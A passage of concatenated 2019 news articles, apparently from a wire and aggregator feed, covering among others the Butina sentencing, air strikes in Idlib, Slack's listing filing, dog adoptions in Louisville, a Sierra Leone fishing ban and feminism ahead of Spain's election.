accusations brought against her, intended to influence the internal political process in the United States, are totally invented and fabricated," Russia's foreign ministry said in a statement. "Our compatriot was condemned just because she is a Russian citizen," it added. On the sidelines of a summit in Beijing, Russian President Vladimir Putin called the conviction "arbitrary". "There is nothing we could accuse her of, but to make this case not look completely ridiculous, she was sentenced to 18 months in prison," he said. Story continues Butina's case played out against a backdrop of tension between Moscow and Washington over what US intelligence says was a concerted effort by Russian spies to interfere in the 2016 presidential election, using hacking and social media manipulation to help President Donald Trump to victory. Special Counsel Robert Mueller charged 25 Russians with conspiracy for those activities, but, with all of them believed to be in Russia, none have been arrested. US prosecutors acknowledged that Butina had nothing to do with those cases but alleged that she was part of a "spot-and-assess" operation to identify potential recruits. A gun rights campaigner who attended NRA events and invited top gun lobby officials to Russia, she lived as a graduate student in Washington with her boyfriend, a Republican and NRA activist. Her activities brought her in contact with top Republicans, including Trump at a rally in 2015, where she was chosen to ask the then-candidate about US-Russian relations. - Updates to Russia - Butina sent regular updates to her handler Alexander Torshin, at the time a senior Kremlin politician and central bank deputy governor who had accompanied her to NRA conventions. "There is no doubt that she was not simply a graduate student," Assistant US Attorney Erik Kenerson told the court. "She was simultaneously trying to make contacts... for the benefit of the Russian Federation." Steven Hall, the CIA's former chief of Russian operations, said her operating in the open was simply an innovative tactic in Putin's "broader hybrid-warfare influence operation." "She's part of the Kremlin's plan to try to weaken the United States and the West," he said. Butina's lawyer Robert Driscoll, a prominent Republican attorney, said she had broken no law besides the registration statute, and would not have been pursued had she been of a different nationality. It remained to be seen whether Butina's sentencing would impact the case of Paul Whelan, an American corporate security expert arrested while in Moscow for a wedding late last year and accused of espionage. Some Russian experts said his arrest was retaliation for that of Butina, although Whelan's brother, David, has said he doesn't believe the cases are related. But before Butina's sentencing Hall, who is no longer with the CIA, said Washington "has to take into account that they do have an American over there, and we have a Russian here." "So is there not a deal to be had?" he said. Beirut (AFP) - Air strikes by Syrian regime ally Russia killed 10 civilians in the jihadist-held northwestern region of Idlib on Friday, a monitor said, as unsuccessful peace talks ended in Kazakhstan. The raids killed three civilians including a boy on the outskirts of the town of Kafranbel, and seven including a girl in the town of Tal Hawash, the Britain-based Syrian Observatory for Human Rights said. Syria's civil war has killed more than 370,000 people since it started in 2011, and endless rounds of negotiations have failed to stem the bloodshed. The Damascus regime has won back large parts of the country from rebels and jihadists since Russia intervened in the war in 2015. But several key areas remain beyond government reach, including Idlib, which is controlled by a former Al-Qaeda affiliate. Russia and rebel-backer Turkey in September inked a buffer zone deal to prevent a massive regime offensive on Idlib and nearby regions, close to the Turkish border. But the area, currently home to some three million people, has come under increasing bombardment since jihadist group Hayat Tahrir al-Sham took full control of it in January. The latest air raids came as two days of talks on ending the war in Syria -- sponsored by Russia, fellow regime ally Iran, and rebel backer Turkey -- concluded in Kazakhstan. In a statement released after the meeting, the three countries expressed concern about HTS extending its influence in Idlib. They stressed their "determination to continue cooperation in order to ultimately eliminate" HTS and the Islamic State group, the statement said. US-backed forces expelled IS from the last patch of their 2014 "caliphate" last month, but the jihadists still have a presence in the Syrian desert and sleeper cells elsewhere. - '200 dead since February' - The United Nations has expressed worry over the new wave of bombardment on the Idlib region, around which a buffer zone was never fully implemented. Story continues "I am alarmed by the recent escalation of violence and hostilities in and around the demilitarised zone in north-western Syria," the UN regional coordinator for Syria, Panos Moumtzis, said Thursday. "Since February, over 200 civilians have reportedly been killed in Idlib," he said. The fighting had also resulted in 120,000 people fleeing to areas closer to the Turkey border, he added. Syria's war has displaced millions since it began with the repression of anti-government protests in 2011. The talks in Kazakhstan Friday ended without notable progress on forming a committee to draw up a post-war constitution for the country. The meeting had broached the issue with UN Special Envoy for Syria, Geir Pedersen, but further talks in Geneva would be needed, the joint statement said. The parties were committed to "the establishment and the convening of the Constitutional Committee at the earliest in Geneva, holding the next round of consultations in Geneva" and supporting UN efforts, it read. But talks in Kazakhstan would also continue, with Syria's neighbours Iraq and Lebanon to be invited to the next round of talks in July. Jordan and the United States have observed the talks in the past. After years of failed UN-led negotiations to end the war, Russia has taken a lead role in diplomatic efforts through the so-called Astana process. The capital of Kazakhstan was called Astana until last month, when it was renamed Nur-Sultan after the country's outgoing president. The Russo Brothers have no more Marvel plans Joe and Anthony Russo have no plans to direct another Marvel movie after Avengers: Endgame, bringing an end to their hugely successful four film stretch with the studio. Its our Endgame, at least for now, Anthony Russo confirmed to GamesRadar. We dont have any plans for now to make any more Marvel movies. However, the elder Russo was then quick to insist that the door has not fully closed on their relationship with the Marvel Cinematic Universe, and the duo might still return at some point in the future. Read More: New Spider-Man: Far From Home Mysterio image revealed It certainly may come up in the future at some point. We have a wonderful working relationship with [Marvel Studios] and a great passion for what theyre doing. Theres no denying that the Russo Brothers have made a huge impact, not just on the Marvel Cinematic Universe, but on blockbuster cinema, too. Chris Hemsworth with Brie Larson in Endgame It is easy to forget just how much of a gamble Marvel were taking by hiring the Russo Brothers for 2014s Captain America: The Winter Soldier. Before that film theyd only directed the feature film comedies Welcome To Collinwood and You, Me and Dupree, but it was really their work on the television shows Arrested Development and Community that convinced Kevin Feige to hire them. The Winter Soldier quickly became one of the most acclaimed films of the MCU, while their work on the sequel, Captain America: Civil War, expanded the universe and showed how adept they were at working with a huge ensemble. That made them the only choices for Avengers: Infinity War and Avengers: Endgame, both of which are set to become the defining movies of the decade. Read More: Google is celebrating Avengers: Endgame in a unique way The Russo Brothers, who are also working on a Stan Lee documentary, already know what their next movie is going to be, and it includes a prominent member of the MCU. Were going to shift gears and direct a much smaller movie this summer with Tom Holland called Cherry, Anthony told Games Radar. Which is loosely based on a real story about a veteran of the Iraq War, who suffers from PTSD gets a heroin addiction and ends up robbing banks to sustain that addiction. Cherry will be shot this summer, while Avengers: Endgame is in cinemas now. Photo: Markus Spiske/Unsplash San Diego-based genetics company Poseida Therapeutics has secured $142 million in Series C funding, according to company database Crunchbase, topping the citys recent funding headlines. The cash infusion was announced April 22 and led by Novartis. According to its Crunchbase profile, "Poseida Therapeutics is a spin out of Transposagen Biopharmaceuticals that utilizes best-in-class, proprietary genome editing technologies to develop targeted, life-saving therapeutics in areas of high unmet medical need. We have demonstrated proof-of-principle that validates the potential of our differentiated genome engineering technologies and their therapeutic applications. Our technology platforms have broad applicability and Poseidas long-term goal is to apply its proprietary gene editing technologies to a broad range of human diseases." The four-year-old startup has raised three previous funding rounds, including a $30 million Series B round in 2018. The round brings total funding raised by San Diego companies in biotechnology over the past month to $148 million, an increase of $126 million from the month before. The local biotechnology industry has seen 53 funding rounds over the past year, securing a total of $2.1 billion in venture funding. In other local funding news, mobile apps and video games company GoMeta announced a seed funding round on April 16, financed by BITKRAFT Esports Ventures. According to Crunchbase, "GoMeta allows non-technical individuals and organizations to create, share, and discover interactive content. The platform consists of Metaverse Studio, a drag and drop editor for creating games; Metaverse Browser, a cross-platform mobile application for viewing experiences; the Metaverse embedded SDK; and YAS - Live Gameshow, a real-time app that features the best Metaverse creations for thousands of live players." Founded in 2016, the company has raised two previous rounds, including a seed round earlier this year. This story was created automatically using local investment data, then reviewed by an editor. Click here for more about what we're doing. Got thoughts? Go here to share your feedback. OSLO, April 26 (Reuters) - Wage talks broke down on Friday between SAS and its pilots in Norway, triggering a strike, a government-appointed mediator said in a statement. SAS said earlier its Swedish pilots would also go on strike, affecting tens of thousands of passengers. (Reporting by Terje Solsvik Editing by Jacqueline Wong) The boys from Great Torrington School, in Devon who wore skirts in protest at the school's no shorts policy. [Photo: SWNS] A group of British boys who wore skirts to protest their schools shorts ban have won their campaign. Some 48 male pupils at Great Torrington School in Devon donned the garment last summer, after they were forbidden to wear shorts in the hot weather. Girls at the school showed their camaraderie by wearing trousers instead of their school skirts. Ahead of the summer term, the school agreed to allow boys to wear shorts as part of its uniform. The decision followed a petition to make shorts part of the approved school uniform, which received over 600 signatures. READ MORE: Is this the end of the school skirt? As agreed and arranged by the Junior Leadership Team, Senior Leadership team and the School Governors, for the summer term 2019 GTS pupils will have the option to wear shorts as part of the school uniform, reads a statement from the school. Here's hoping for another fantastic British summer! Theres one condition, though: The boys need to wear black or grey socks, in accordance with the school policy. Schoolboy campaigner Bradley Smart said: "Thank you to the school for co-operating, listening to what the children had to say and taking their opinions into account." It followed a similar demonstration in 2017 at Isca Academy, in Exeter, Devon, where boys also wore skirts to protest a shorts ban. READ MORE: School criticised for proposing gender neutral uniform Nowadays, it isnt just schoolchildren being subjected to strict uniform policies, but their parents too. One school in the US has caused a buzz after introducing a dress code for parents. James Madison High School in Houston has claimed it will turn away parents who show up at the school gates in pyjamas, hair rollers, leggings and other unsuitable items of clothing. With additional reporting from SWNS. If you have been looking for Mid Cap Growth funds, it would not be wise to start your search with Scout Mid Cap Fund (UMBMX). UMBMX possesses a Zacks Mutual Fund Rank of 5 (Strong Sell), which is based on nine forecasting factors like size, cost, and past performance. Objective UMBMX is part of the Mid Cap Growth section, a segment that boasts a wide array of possible selections. While Mid Cap Growth mutual funds choose companies with a stock market valuation between $2 billion and $10 billion, stocks in these funds are also expected to show broad considerable growth opportunities for investors compared to their peers. To be considered a growth stock, companies must consistently report impressive sales and/or earnings growth. History of Fund/Manager Eagle Funds is based in St. Petersburg, FL, and is the manager of UMBMX. Since Scout Mid Cap Fund made its debut in November of 2006, UMBMX has garnered more than $2.66 billion in assets. The fund is currently managed by a team of investment professionals. Performance Of course, investors look for strong performance in funds. This fund in particular has delivered a 5-year annualized total return of 9.21%, and is in the middle third among its category peers. If you're interested in shorter time frames, do not dismiss looking at the fund's 3-year annualized total return of 14.71%, which places it in the top third during this time-frame. When looking at a fund's performance, it is also important to note the standard deviation of the returns. The lower the standard deviation, the less volatility the fund experiences. The standard deviation of UMBMX over the past three years is 12.93% compared to the category average of 13.59%. The standard deviation of the fund over the past 5 years is 12.35% compared to the category average of 13.11%. This makes the fund less volatile than its peers over the past half-decade. Risk Factors Investors cannot discount the risks to this segment though, as it is always important to remember the downside for any potential investment. In UMBMX's case, the fund lost 46.04% in the most recent bear market and outperformed its peer group by 5.63%. This makes the fund a possibly better choice than its peers during a sliding market environment. Story continues Investors should not forget about beta, an important way to measure a mutual fund's risk compared to the market as a whole. UMBMX has a 5-year beta of 0.99, which means it is likely to be as volatile as the market average. Because alpha represents a portfolio's performance on a risk-adjusted basis relative to a benchmark, which is the S&P 500 in this case, one should pay attention to this metric as well. With a negative alpha of -1.31, managers in this portfolio find it difficult to pick securities that generate better-than-benchmark returns. Expenses As competition heats up in the mutual fund market, costs become increasingly important. Compared to its otherwise identical counterpart, a low-cost product will be an outperformer, all other things being equal. Thus, taking a closer look at cost-related metrics is vital for investors. In terms of fees, UMBMX is a no load fund. It has an expense ratio of 0.97% compared to the category average of 1.18%. From a cost perspective, UMBMX is actually cheaper than its peers. Investors need to be aware that with this product, the minimum initial investment is $10,000; each subsequent investment has no minimum amount. Bottom Line Overall, Scout Mid Cap Fund ( UMBMX ) has a low Zacks Mutual Fund rank, similar performance, average downside risk, and lower fees compared to its peers. Your research on the Mid Cap Growth segment doesn't have to stop here. You can check out all the great mutual fund tools we have to offer by going to www.zacks.com/funds/mutual-funds to see the additional features we offer as well for additional information. Want to learn even more? We have a full suite of tools on stocks that you can use to find the best choices for your portfolio too, no matter what kind of investor you are. Want the latest recommendations from Zacks Investment Research? Today, you can download 7 Best Stocks for the Next 30 Days. Click to get this free report Get Your Free (UMBMX): Fund Analysis Report To read this article on Zacks.com click here. Zacks Investment Research Photos: Petfinder Looking to add a new companion to the family? There are dozens of cuddly canines up for adoption at animal shelters in and around Louisville, so you won't have to look far to find the perfect fit. Hoodline used data from Petfinder to power this roundup of dogs currently available for adoption near you. Read on to meet some friendly, furry locals. Mollie, wirehaired terrier mix Mollie is a female wirehaired terrier mix currently housed at Polo K-9. Mollie will get along great with your other dogs and cats. Her vaccinations are already up to date, and she's been spayed. Mollie's ideal forever home would be a kid-free environment. From Mollie's caretaker: Mollie is 8 years young and a wire hair terrier weighing 24 pounds. Mollie can be very fearful and skittish, especially with new people. She has made huge strides since joining us but still requires a very patient owner who is experienced with dogs. Mollie was an owner surrender and was never shown any real affection or attention and spent her whole life in a cage. She was almost feral when arriving with us. Mollie needs a home with a secured fenced in yard with no children. Rapid, fast movement scares her. Her owner needs to have experience with scare/feral like dogs that will understand Mollie and not push her. She does become super attached once comfortable and can be quite needy. She needs to have a pack and does great with dogs and cats of all sizes. Read more about how to adopt Mollie at Petfinder. Leo, collie mix Leo is a male collie mix staying at Polo K-9. Leo loves other dogs and cats. He is vaccinated, and he's been neutered. He's already house trained. Leo is looking for kid-free home. From Leo's caretaker: Leo is a special boy all the way from Puerto Rico. Leo is a year and a half old. He was a stray running the streets in Puerto Rico and was one of the lucky ones that made his way to the States through a rescue program. He was originally adopted out but sadly his mom had housing issues and had to move in with family. After being in a compassion foster for a year she decided it was best for Leo to find a new home. Leo is very fearful of new people and situations. He is terrified of kids, their energy is just too much for him, so absolutely no kids for Leo. He is very shy, unsure, zero confidence and skittish with new people. He takes time to trust new people but once he does trust you he is forever faithful. Story continues Read more about how to adopt Leo at Petfinder. Callie, chihuahua Callie is a female chihuahua dog being cared for at Chihuahua Rescue & Transport Inc.. Callie is the life of the party she's happy to keep company with kids and dogs. She already has all of her shots, and she's been spayed. From Callie's caretaker: Callie is a 14 year old Chihuahua whose owner died and whose family couldn't keep her permanently. So she made the trip from Cincinnati to Youngstown where she slid into foster home easily. This girl weighs about 7 1/2 pounds and is fully vetted. She just had a dental so she's much more pleasant to be around. :) We're really just learning about her. She's learning to be her foster mom's "chair Chi" and is finding her place in the pack. She's a bit nervous and reserved at first, but once she's used to her situation she is a very friendly, sweet girl. She's good with other small dogs and so-so with cats. She would probably prefer a home without a cat, but once properly introduced to one, she should be OK. Read more about how to adopt Callie at Petfinder. Napo, Jack Russell terrier mix Napo is a male Jack Russell terrier mix being kept at Polo K-9. Napo plays well with others he's happy to keep company with cats, dogs and children. He is already vaccinated, and he's been neutered. He's already house trained. From Napo's caretaker: Napo is a 1 year old Jack Russle mix. Napo is a shy but sweet boy. He warms up pretty quickly to people. We are still getting to know Napo, at this time we feel he would do well with friendly, well mannered children that know how to respect dogs. Napo is good with other dogs and cats. He needs to have a home with at least one other dog. He needs a secured and fenced in yard. Read more about how to adopt Napo at Petfinder. Mollie Cow, Labrador retriever mix Mollie Cow is a female Labrador retriever mix staying at Polo K-9. Mollie Cow will get along great with your cats. She already has all of her shots, and she's been spayed. Mollie Cow's ideal forever home would be environment. From Mollie Cow's caretaker: Meet 6 year old Mollie Cow!! Her whole life, she lived at the end of a chain. Bred until she was no longer able to be bred, then dumped in a high kill shelter. She had heartworm disease. A severe infection in both ears and skin. Until Mollie was rescued ... After a year plus in rescue and thousands and thousands in vet bills ($6,500 plus), heartworm disease treatment, severe double ear infection treated for over a year with no success, she received double ear canal removal surgery (yup, now she's deaf too). Mollie has spent the last 6 months in training at the Sanctuary. Mollie is so ready for her happy forever to begin. Mollie was very untrusting of all people and dogs. Fast forward to now. She has come a long way. Now she welcomes all strangers, avoids dogs and would do best as an only dog due to her ptsd from years of being bred to produce pups. She does not mind cats. No children for her. She deserves a calm home who will give her attention. Read more about how to adopt Mollie Cow at Petfinder. Casper, chihuahua mix Casper is a male chihuahua mix being kept at Polo K-9. Casper is a social animal he gets along well with kids, cats and dogs. His vaccinations are up to date, and he's been neutered. From Casper's caretaker: Casper is an older chihuahua, believed to be about 5-8 years old. He was transferred to us from a sister rescue because they couldnt get him adopted out. He would shake in his kennel, and people would just pass by him. He originally came from a rural shelter with the same result ... Fast forward to now, Casper is the sweetest, most gentle, and loving, little dude ever. He is great with cats, dogs of all sizes, children, and adults. He has even visited a nursing home! Casper is a very sweet and balanced little guy who just needed a calm, quiet, yet active environment. Read more about how to adopt Casper at Petfinder. This story was created automatically using local animal shelter data, then reviewed by an editor. Click here for more about what we're doing. Got thoughts? Go here to share your feedback. Inside the San Francisco Public Library's bookmobile. | Photos: Courtesy of Dia de los Ninos/Dia de los Libros This Sunday, April 28, San Francisco will host its 20th annual celebration of children and books in the Mission, with activities for kids of all ages and their families. The annual Dia de los Ninos/Dia de los Libros event honors the longstanding Mexican holiday focused on children, while simultaneously promoting youth literacy. Over its 19 previous years, the annual celebration has distributed more than 20,000 multilingual books to children. Co-founder Lariza Dugan-Cuadra, who is now the executive director of the Central American Resource Center (CARECEN SF), was working at KQED in 1999 when the idea for the event first emerged. Her aim was to connect educational childrens television programming to books and family educational activities. Nothing is better than seeing children learning with their parents, and walking away from an event with books, she said. The SFPL bookmobile has been a steady presence through the event's 20 years. Previously held at Dolores Park, Dia de los Ninos/Dia de los Libros was relocated to Parque Ninos Unidos (23rd and Folsom streets) a few years back, while the park's play area was being renovated. It will remain there for this year's event, which will feature dance, music, theater and the opportunity for families to obtain a library card and check out a book from the San Francisco public library's bookmobile. The library has participated in the event annually for 17 years, according to Maricela Leon-Barrera, SFPL's early learning coordinator for community programs and partnerships. Other sponsors for this year's event include the SF Recreation and Parks Department, Fleton Institute, Jump Start, and the University of San Francisco. Activities are intended to connect children's programming to books and cultural history. Performing for the first time at this year's event is Loco Bloco, an ensemble of high-school and transitional-age youth that perform Afro-Latino music and dances. Because this is an event for children and their families, we thought it was a good fit to start us off with their drumming line and call attention to an event that is dedicated to children and their exuberance," Leon-Barrera explained. Story continues Other performers, such as hula-hooping group Cherry Hoops and Mexican folk dancer Maria Luna, are return favorites, Leon-Barrera said. DJ Paki Payawill keep the music going all afternoon. The event will also feature a heavy emphasis on storytelling. Oral histories are critical to Latin American culture, Dugan-Cuadra said, and the stories at the event will focus on celebrating the role children play in building and strengthening society. Children enjoy a reptile demonstration at the event. This years celebration will focus on resiliency and cultural strength, and remind participants that books can open up worlds for children, said Dugan-Cuadra. Though she is no longer organizing the event annually, she's been asked to return for the anniversary as one of its founding mothers. I am honored to be invited to speak and participate again in what has become an institution in our city, she said. "Especially in todays political environment, she said, the event is more important than ever. Dia de los Ninos/Dia de los Libros will be held this Sunday, April 28 from 12-4 p.m. at Parque Ninos Unidos (23rd and Folsom streets). By Cooper Inveen TOMBU, Sierra Leone (Reuters) - Sierra Leone is nearing the end of a one-month ban on industrial fishing that local fishermen hoped would replenish stocks but whose impact has been limited by its short span and the financial muscle of foreign companies. The government imposed the moratorium at the start of April on industrial boats, most of which are owned by Chinese and South Koreans. Local fishermen complain that these trawlers damage their nets and disrupt schools of fish in shallow water. West Africa is in the midst of an overfishing crisis as foreign companies pour into the region to meet increasing demand for fishmeal and tropical fish, particularly from Asia. We consulted with many experts and environmentalists and believe one month without them should be enough time to help replenish our stocks, Ibrahim Turay, the country's Deputy Minister of Fisheries, said in an interview earlier this month. But advocacy groups say one month is too short to make a major impact, and that regional governments need to bolster their policing of illegal fishing, which Greenpeace estimates costs West African governments more than $2 billion per year. The fact that there is a measure to try and reduce the pressure on resources is salutary, but this is insufficient, said Ibrahima Cisse, senior oceans campaign manager for Greenpeace Africa. "The means at the disposal of the department in charge of surveillance are very weak." Turay declined to comment this week when asked if the ban had been successful. FOREIGN COMPETITION Nor does the moratorium, which also requires that fish be sold exclusively on local markets during the month-long period, appear to be shielding local fishermen from foreign competition, as many had hoped. Fishermen working the bustling Tombu harbour, lined with plastic buckets and jerrycans filled with the day's catch of croaker, told Reuters that fluid seasonal migration patterns made it hard to judge whether fish stocks were recovering. Story continues But several said big trawling firms seemed to have responded to the ban's announcement in March by stepping up their use of what the fishermen describe as predatory lending schemes that allow the companies to secure local fishermen's entire catches. According to fishermen and harbour management staff, fishermen must reimburse the loans, which go toward nets and other expensive equipment, with their daily catch, which the companies undervalue by as much as a factor of four. Many local fishermen say they have great need for such loans, often to replace nets damaged by the trawlers. One such contract seen by Reuters between a fisherman and a South Korean-owned company called Chung Gang Fishing was signed on March 13, three days after the ban was formally announced. It gives the company exclusive rights to anything the fisherman catches until he has paid back a $600 loan. Chung Gang Fishing representatives declined to comment. There's no other way that I can have so much cash in my hand at once, so of course I'm not going to say no, said Sheik Sawyer, a Tombu fisherman who is still repaying a $700 loan he took out from a Chinese firm last month. (Editing by Aaron Ross/Mark Heinrich) By Bharath ManjeshR and Aparajita Saxena (Reuters) - The owner of popular workplace instant messaging app Slack made public strong year-on-year growth numbers on Friday, and an annual loss of $140.7 million, as it filed formally for its long-awaited market debut. The San Francisco-based company, Slack Technologies, seeking to go public via a direct listing similar to that of music streaming app Spotify last year, published numbers showing it had more than 10 million daily active users as of the end of January. Paying customers or organizations numbered 88,000, up almost 50 percent from a year earlier and more than double the 37,000 it had in 2017, the company's regulatory filing showed. Big customers that pay Slack at least $100,000 a year numbered 575 as of year ended January, up from 298 in the previous year. These customers accounted for about 40 percent of its total revenue in fiscal 2019. The company said it had more than 500,000 organizations on its free subscription plan and that revenue jumped 82 percent from last year to $400.6 million and up from $105 million in 2017. Reuters had previously reported that the company was hoping for a valuation of more than $10 billion in the listing, which should now happen within weeks. Some early investors and employees have been selling the stock at around $28, valuing the company close to $17 billion, Kelly Rodriques, Chief Executive Officer of Forge, a brokerage company, told CNBC on Thursday. The company's big issue, like many startups, is costs. Total operating expenses rose 49 percent to $503.5 million in fiscal 2019, the company said, largely due to higher sales and marketing costs. "The company is a classic tech company with scalability," said Jay Ritter, an IPO expert and professor at the University of Florida. "There is the potential for profitability in the next few years, with rapidly growing profits after that." "Many tech companies, such as Dropbox and Spotify, offer free use to people or organizations, with the idea that a certain fraction of them will become heavy users and paying customers. As long as the churn rate is not too high, this can be a successful business strategy." Story continues The company, which expects to trade on the New York Stock Exchange under the symbol "SK", reported a loss of $181 million a year earlier. Slack's biggest shareholders include Accel Partners, an investor in Facebook and Dropbox, which holds 24 percent, followed by Andreessen Horowitz, with 13.3 percent. Japanese conglomerate SoftBank owns 7.3 percent. The company, whose competitors include Microsoft Teams, a free chat add-on for Microsoft's Office365 users, said it expects to incur losses for the foreseeable future and may not achieve or maintain profitability in the future. The company, which was launched in 2013, counts Trivago, BBC, Lyft, 21st Century Fox, Shopify, and Survey Monkey as its customers. This year has already seen a run of technology sector IPOs, with Lyft Inc, Pinterest and Zoom Video Communications launching to various degrees of success. Uber Technologies Inc unveiled the terms of its IPO on Friday, seeking a $91.5 billion valuation in what could prove the year's biggest launch. (Reporting by Aparajita Saxena and Bharath Manjesh in Bengaluru and Joshua Franklin in New York; Editing by Leslie Adler, Anil D'Silva and Arun Koyyur) BELLS BEACH, Australia (AP) Kelly Slater has advanced to the quarterfinals of the Bells Beach World Surf League event while defending champion Stephanie Gilmore lost her final-eight contest on Friday. Eleven-time world champion Slater will face Australian Ryan Callinan in the next round. The 47-year-old American beat Brazilian Peterson Crisanto 10.80 points to 6.87 in two-meter (6.5-foot) waves, while Callinan defeated American Conner Coffin 13.93 to 9.93. Slater is returning from a lengthy layoff last season because of broken right foot. He was eliminated in his second-round heat in the WSL's season-opening event two weeks ago on the Gold Coast in Australia's Queensland state. Seven-time world champion Gilmore was beaten by Hawaiian Malia Manuel, who used a bigger board in the large swells to claim a 10.77 to 8.70 win. "I rode five inches up from my normal board so it still felt good because I had some time on it in the winter," said Manuel. Manuel's semifinal opponent will be American 17-year-old Caroline Marks, who won the Gold Coast women's event for her first WSL victory. The WSL circuit will help determine qualifiers for next year's Tokyo Olympics, where surfing will make its debut. The top 10-ranked men and eight highest-ranked women on the 2019 tour will be among those qualifying for the 2020 Games. Slater, who will be 48 next February, has said he hopes to qualify for the U.S. team. ____ More AP sports: https://apnews.com/apf-sports and https://twitter.com/AP_Sports LJUBLJANA, April 26 (Reuters) - Slovenia imported a lynx from Romania on Friday in an attempt to restore its dwindling population of the wildcat, the national Forest Service said. The male lynx called Goru is the first out of 10 lynxes that will be moved from Romania and Slovakia by 2024, Maja Sever, a spokeswoman of the Service, told Reuters. Goru will spend about three weeks in a fenced-off space to adapt to the new environment and then be set free. Lynxes became extinct in Slovenia about 100 years ago but were successfully repopulated in 1974 when six were moved in from Slovakia. Their numbers were on the rise until 2000 when they began to fall due to genetic flaws caused by inbreeding. There are now only 10 to 20 left in Slovenias forests, down from between 50 and 70 about 20 years ago. A 7-million-euro project ($7.80 million), mostly financed by European Union funds, also includes the transfer of four lynxes to neighboring Croatia where the lynx population is also low at about 40. About 60 percent of Slovenia is covered by forests that are also home to relatively stable populations of bears and wolves. ($1 = 0.8970 euros) (Reporting By Marja Novak, Editing by William Maclean) Photo credit: eBay From Popular Mechanics Wild show cars hold a special place in our hearts. That's why it's painful to see this custom C3-generation Corvette shooting brake in such a sorry state. Created by a GM designer, it envisions a world where 'Vettes can be miniature station wagons with six headlights. Thanks to an accident in 1997, it's been off the road for the past 20-plus years. Now, it's up for sale on eBay Motors. You should save it. This Corvette was the brainchild of Harry Bradley, a designer who worked for GM in the 1960s before making a career at Hot Wheels. His goal was to create a Corvette wagon as it might have been offered from the factory, using as many GM parts as possible. The cargo area is totally custom, built over a steel cage structure. The rear end was restyled to use a full-width taillight from a 1971 Ford Thunderbird. The storage area is accessed via the rear window, which opens using handmade hinges. Up front, you can't help but notice that giant headlight array, six big ol' square sealed-beams. The four outer units operate as normal headlights, with the inboard pair coming on with the high-beams. The factory, numbers-matching V-8 engine still sits under the hood, mated to a four-speed manual transmission. The seller hasn't included many pictures of the car in its current state, but from what we can see, it's going to need some work. The custom nose is in rough shape, and the rear window is missing. It seems that unique six-light housing survived, though not without some damage. The interior looks to be in good condition, save for some missing dash pieces. The car is listed on eBay in Castro Valley, California with a Buy It Now price of $18,999 or best offer. Please, someone save it. The world needs more outrageous Vette wagons. You Might Also Like By Denis Dumo JUBA, April 26 (Reuters) - A South Sudanese court threw out charges including treason against a prominent economist on Friday but said he still must face trial on new charges of disturbing the peace over interviews he gave to foreign media. The case of Peter Biar Ajak, a former child refugee who returned to his native South Sudan as an internationally renowned academic, has thrown a spotlight on what rights groups say is repression of dissent in Africa's youngest country. The South Sudan country director for the International Growth Centre which is part of the London School of Economics, Biar was arrested in July 2018 and later charged with treason. He had been critical of the way President Salva Kiir and rebel leader Riek Machar approached peace talks to end a civil war. The previous charges have been rubbished and dropped by the court because the prosecution couldnt prove each of those charges," Ajak's lawyer Philip Anyang said. However, judge Sumaya Saleh Abdalla ordered him to be tried on new charges. "Biar and the other detainees inside the National Security Prison participated in media interviews that have created fear and insecurity in the public which is against the law," the judge told the special tribunal at the High Court. Biar's lawyer said he was innocent of all charges, which could fetch between six months and three years imprisonment. South Sudan, which became independent from Sudan in 2011 under a peace agreement that ended decades of conflict, was swiftly plunged into civil war because of a split between Kiir and Machar. The two leaders finally signed a peace deal in September, promising to form a unity government by May 12. Rights groups say South Sudan's security services have a history of detaining people and subjecting them to torture and other ill-treatment, creating an atmosphere of fear and self-censorship amongst activists and journalists. "The charges, at least in the case of Peter, are an attempt to criminalize free expression and the legitimate work of human rights defenders and activists," said Human Rights Watch South Sudan researcher Nyagoah Tut Pur. Story continues At Friday's hearing the prosecution referred to an interview Biar gave to Voice of America during a stand-off between prisoners and guards at the National Security Service (NSS) headquarters on October 7, 2018. Biar fled to the United States as a youth, was educated at Harvard and Cambridge and later worked at the World Bank. Niki Frencken, South Sudan researcher for Amnesty International, said the tribunal, which is trying six other people including businessman and philanthropist Kerbino Agok Wol, had not addressed the reason for his original detention by the NSS. "If you look at the last couple of years, you see an increase in the power of the National Security Service. It's been operating outside the rule of law and without checks and balances," Frencken said. (Writing by Hereward Holland) Nogueira de Ramuin (Spain) (AFP) - Loureiro may be a remote village in northwestern Spain with barely 60 residents but it too has embraced an ever-growing feminist movement in a sign of how significant women's rights have become ahead of Sunday's election. After two straight years of mass, nationwide protests and strikes on International Women's Day, Spanish women voters will be "more decisive than ever," says Francisco Camas of polling firm Metroscopia. More than ever politicians are courting women's votes, even if the feminist movement has also triggered a backlash led by far-right party Vox, which has only just burst onto the political scene. On March 8 as women worldwide marked their special day, residents in Loureiro nestled in the rural wine region of Ribeira Sacra took to the streets, just like others did in Madrid, Barcelona and all over the country. A village so small it doesn't even appear in Google Maps, with its traditional, crumbling stone houses, granaries falling into disuse and an ageing population, women marched in Loureiro's first ever protest. "We thought there would be just two of us and in the end almost half the village came. It's historic," says Emilia Pato, a 60-year-old resident of the village, officially part of Nogueira de Ramuin, a larger town. Poor public transport made it hard for them to go to demonstrations in nearby towns, so they decided to protest at home with a banner that read, "Rural women can also go to the bar." They ended up in the only bar in the village, where the tables are usually full of men playing cards. "It's not that we were banned from going to the bar but we didn't go of our own will," explains Hermitas Rieiro Couto, 58. Since then, "we've woken up," she says happily. So it is that the women meet regularly and have got involved in village issues -- until now the purview of men. "The protest was a turning point," says Catalina Santiago, 68. Story continues After living in Switzerland and the Spanish city of Valladolid, she decided to retire in her husband's home village. "We're energised, we know that we're also valuable and that we can do things way better than men." - More undecided - Theirs is just one of many anecdotes in Spain, currently at the forefront of the fight for women's rights after mass mobilisation on March 8 for two consecutive years. "According to our data, around 80 percent of the population supported the women's strikes in March 2018 and 2019," says pollster Camas. And more women voters than men are still undecided about the upcoming polls, he adds. A matter politicians have taken note of. Incumbent socialist Prime Minister Pedro Sanchez appointed 11 female ministers out of 17 when he took power in June, a fact he likes to highlight. And the Socialist Party is a favourite among women, with 55 percent of its voters female, according to Metroscopia. Centre-right party Ciudadanos, meanwhile, is also attracting women with its concept of "liberal feminism" that defends gender equality but "doesn't exclude men." Even the conservative Popular Party (PP) -- that only recently wanted to restrain access to abortion -- has jumped onboard, says Silvia Claveria, a politics expert at Madrid's Carlos III University. - 'Backlash' - But voices of discord are starting to be heard, particularly with the emergence of far-right Vox with its virulent rhetoric against what it dubs "radical feminism" which it believes "criminalises" men. Opinion polls estimate that Vox could enter the national parliament for the first time after Sunday's general election. It's a "testosterone vote," says Camas, pointing out that 75 percent of the party's voters are men. "There is an anti-feminism counter-wave," warns Claveria. The rise of Vox has also pushed the PP more to the right. One of the 